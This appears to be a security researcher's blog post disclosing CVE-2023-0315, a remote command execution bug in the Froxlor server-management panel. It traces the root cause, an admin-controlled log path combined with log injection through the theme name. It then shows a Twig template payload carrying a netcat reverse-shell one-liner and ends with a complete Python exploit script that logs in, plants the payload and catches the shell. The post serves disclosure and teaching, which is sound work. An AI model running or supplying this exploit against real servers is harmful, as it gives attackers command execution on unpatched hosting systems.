Froxlor v2.0.6 Remote Command Execution (CVE-2023-0315)

Estimated Reading Time: 8 minutes

Summary about Froxlor

Froxlor is a web-based server management software for Linux-based operating systems. It is primarily used to manage web hosting environments and allows users to create and manage websites, email accounts, and FTP accounts.

It also provides tools for monitoring server resources and managing backups. Froxlor is written in PHP and uses a MySQL database to store its data. It is open-source software and can be installed on a variety of Linux distributions, including Debian and Ubuntu.

About the vulnerability

Froxlor is suffering from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render.

That will lead to achieving a remote command execution under the user www-data.

In this blog post, we will trace the root cause of the bug and analyze why this issue happened, as well as which controls inside the application prevented us from exploiting this issue directly in other common cases.

Writing Log files

While auditing Froxlor, I came across the following interesting code snippet in lib/Froxlor/FroxlorLogger.php

		if (self::$is_initialized == false) {
			foreach (self::$logtypes as $logger) {
				switch ($logger) {
					case 'syslog':
						self::$ml->pushHandler(new SyslogHandler('froxlor', LOG_USER, Logger::DEBUG));
					case 'file':
						$logger_logfile = Settings::Get('logger.logfile');
						// is_writable needs an existing file to check if it's actually writable
						if (empty($logger_logfile) || !is_writable($logger_logfile)) {
							Settings::Set('logger.logfile', '/tmp/froxlor.log');
						self::$ml->pushHandler(new StreamHandler($logger_logfile, Logger::DEBUG));
					case 'mysql':
						self::$ml->pushHandler(new MysqlHandler(Logger::DEBUG));
			self::$is_initialized = true;

This code snippet is responsible for writing internal logs file for Froxlor based on the log type, line #103 will store the logfile value based on an internal variable saved in the settings which we will analyze later; This action is performed if the log type was file, and we will get back to this later too.

And in line #105 this file path will be created using touch function, after that a check will be done in line #106 to see if that file is not writable then it will set the log file to be saved in /tmp/froxlor.log, otherwise, it will be stored in the file path saved in $logger_logfile variable.

And we can see that there are no actions taken to restrict the log file extension or the log file absolute path, which means we can write .php file to any path we want even if it was the application document root, and that could be done by controlling/changing the value of logger.logfile option.

The variable logger.logfile is mapped as part of the logging group in the file actions/admin/settings/170.logger.php like the following:

				'logger_logfile' => [
					'label' => lng('serversettings.logger.logfile'),
					'settinggroup' => 'logger',
					'varname' => 'logfile',
					'type' => 'text',
					'string_type' => 'file',
					'string_emptyallowed' => true,
					'default' => '',
					'save_method' => 'storeSettingField'

And after tracing where this variable is being submitted, I found that the page /froxlor/admin_settings.php?page=overview&part=logging will handle this variable like the following:

As we can see, the logger_logfile and logger_logtypesare submitted to the page admin_settings.php?page=overview&part=logging.

So let’s see if we can control the logger_logfile to drop a file on the document root under /var/www/html/froxlor/test.php .

To do that, we will simply change the previous burp request and replace the logger_logfile to be /var/www/html/froxlor/test.php

As we can see, we got the data submitted without issues in the body or in the response code, now let’s see if the file was created or not.

Great, the file was created successfully on the disk.

Now we need to figure out a way to write data in this file, so the journey of auditing the logger continues now.

Writing the goodies!

So now we are controlling the file write, we need to write a malicious php code in that fake log php file, to do that we will go back to the logger and see when we can trigger the logger to write data to the log file.

So we will now try to trigger one of the actions that will be logged to that log file, and during the analysis, I found that whenever an admin changed his/her Froxlor UI theme style, it will be logged using a function called logAction.

And the following code in the file admin_index.php is responsible for performing that:

} elseif ($page == 'change_theme') {
	if (isset($_POST['send']) && $_POST['send'] == 'send') {
		$theme = Validate::validate($_POST['theme'], 'theme');
		try {
			Admins::getLocal($userinfo, [
				'id' => $userinfo['adminid'],
				'theme' => $theme
		} catch (Exception $e) {

		$log->logAction(FroxlorLogger::ADM_ACTION, LOG_NOTICE, "changed his/her theme to '" . $theme . "'");

What we need to understand from this code is that it will validate the value of the variable $theme in case the page received a request to change the theme, the $theme variable will store the POST value of $_POST['theme'].

After that, a full string that contains the controlled $theme value is passed to the function logAction which will trigger the Logger to write the string to the file as LOG_NOTICE log type and as admin based on ADM_ACTION.

This is the code snippet of the function logAction:

	public function logAction($action = FroxlorLogger::USR_ACTION, $type = LOG_NOTICE, $text = null)
		// not logging normal stuff if not set to "paranoid" logging
		if (!self::$crondebug_flag && Settings::Get('logger.severity') == '1' && $type > LOG_NOTICE) {

		if (empty(self::$ml)) {

		if (self::$crondebug_flag || ($action == FroxlorLogger::CRON_ACTION && $type <= LOG_WARNING)) {
			echo "[" . $this->getLogLevelDesc($type) . "] " . $text . PHP_EOL;

		// warnings, errors and critical messages WILL be logged
		if (Settings::Get('logger.log_cron') == '0' && $action == FroxlorLogger::CRON_ACTION && $type > LOG_WARNING) {

		$logExtra = [
			'source' => $this->getActionTypeDesc($action),
			'action' => $action,
			'user' => self::$userinfo['loginname']

		switch ($type) {
			case LOG_DEBUG:
				self::$ml->addDebug($text, $logExtra);
			case LOG_INFO:
				self::$ml->addInfo($text, $logExtra);
			case LOG_NOTICE:
				self::$ml->addNotice($text, $logExtra);
			case LOG_WARNING:
				self::$ml->addWarning($text, $logExtra);
			case LOG_ERR:
				self::$ml->addError($text, $logExtra);
				self::$ml->addDebug($text, $logExtra);

This function will call the main logger initiated in $ml and call addNotice based on the log type LOG_NOTICE based earlier.

$ml is the instance of Monolog Logger initiated in the code which will write the passed string as LOG_NOTICE to the final malicious log path.

And again as a reminder, to do that we just need to send the following request to change the theme name from this page:

And the following request shows how we wrote a fake theme name to the disk:

As we can see, we wrote the text FakeData to the php file and now we are ready to write a malicious php code.

Everything so far seems to be great, now let’s try to verify if the following code will be written to the file:

<?php phpinfo(); ?>

Unfortunately, the logger converted our text to htmlenitites and write it in the log file which means we can’t write valid php code using <or > tags.

After spending some time I observed that this one was handled by the underlying logger and we will not be able to use valid php code.

Abusing the log feature again!

So how we can bypass this issue? After getting back to my notes, I noticed that the application using Twig template engine to render the UI, and the templates exist in the path templates/Froxlor/ under .twig extension, so I thought that I can create a new empty template that is used by the application and then write the logs “Fake Theme Name” which is a Twig expression to execute arbitrary commands.

We will write a new template templates/Froxlor/footer.html.twig which is already rendered by the application and we will inject the following Twig expression into it:


This Twig expression will pass the COMMAND string to exec function, it’s a well-known Twigexpression referred in this page.

The expression should be filter-friendly and should be able to execute commands; To test that, I will use the following payload to achieve a reverse shell:

{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1337 >/tmp/f']|filter('exec')}}

After submitting the payload to the application, we need to send a request to / or any other path that will render footer.html.twigwhich is almost every page in the application.

Bringing it all together

So if you are lost, we can wrap what we will do to test the payload and see if we can achieve a full remote command execution:

  1. Change the log path to be /var/www/html/froxlor/templates/Froxlor/footer.html.twig
  2. Write the previously mentioned payload to the log file by changing the theme name via theme change option to trigger the log function to write the new theme “payload” to footer.html.twig
  3. Send a request to any path that will render footer.html.twig.
  4. Wait for the shell!

Let’s start with changing the log path:

Then let’s inject the payload into the log file:

And finally, let’s hit any page to get the payload rendered:

And we popped a shell!

Exploit Writing

After exploiting the bug, I wrote a full exploit to perform all mentioned steps and as usual, I used python to write the exploit, and this is the final exploit code:


# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2023-0315
# Vendor Homepage:
# Version: v2.0.3
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
from threading import Thread

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print("[~] Usage : ./ url username password ip port")

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()

def login():
    login_info = {
    "loginname": username,
    "password": password,
    "send": "send",
    "dologin": ""
    login_request ="/index.php", login_info, allow_redirects=False)
    login_headers = login_request.headers
    location_header = login_headers["Location"]
    if location_header == "admin_index.php":
        return True
        return False

def change_log_path():
    change_log_path_url = url + "/admin_settings.php?page=overview&part=logging"
    csrf_token_req = request.get(change_log_path_url)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    print("[+] Main CSRF token retrieved %s" % csrf_token)

    multipart_data = {

        "logger_enabled": (None, "0"),
        "logger_enabled": (None, "1"),
        "logger_severity": (None, "2"),
        "logger_logtypes[]": (None, "file"),
        "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/footer.html.twig"),
        "logger_log_cron": (None, "0"),
        "csrf_token": (None, csrf_token),
        "page": (None, "overview"),
        "action": (None, ""),
        "send": (None, "send")
    req =, files=multipart_data)
    response = req.text
    if "The settings have been successfully saved." in response:
        print("[+] Changed log file path!")
        return True
        return False

def inject_template():
    admin_page_path = url + "/admin_index.php"
    csrf_token_req = request.get(admin_page_path)
    csrf_token_req_response = csrf_token_req.text
    soup = BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token = (soup.find("meta",  {"name":"csrf-token"})["content"])
    onliner = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f".format(ip, port)
    payload = "{{['%s']|filter('exec')}}" % onliner
    data = {
        "theme": payload,
        "csrf_token": csrf_token,
        "page": "change_theme",
        "send": "send",
        "dosave": "",
    req =, data, allow_redirects=False)
        location_header = req.headers["Location"]
        if location_header == "admin_index.php":
            print("[+] Injected the payload sucessfully!")
        print("[-] Can't Inject payload :/")
    handler_thread = Thread(target=connection_handler, args=(port,))
    print("[+] Triggering the payload ...")
    req2 = request.get(admin_page_path)

def connection_handler(port):
    print("[+] Listener started on port %s" % port)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", int(port)))
    conn, addr = s.accept()
    print("[+] Connection received from %s" % addr[0])
    t.sock = conn
    print("[+] Heads up, incoming shell!!")

if login():
    print("[+] Successfully Logged in!")
    index_url = url + "/admin_index.php"
    if change_log_path():

    print("[-] Can't login")

And we get this shell after running the exploit:

Vulnerability disclosure

Froxlor team asked me to report the bug via, I reported the bug and was rewarded a small appreciation bounty, Froxlor team issued a patch for this bug in version 2.0.8.

Leave a Reply

Your email address will not be published. Required fields are marked *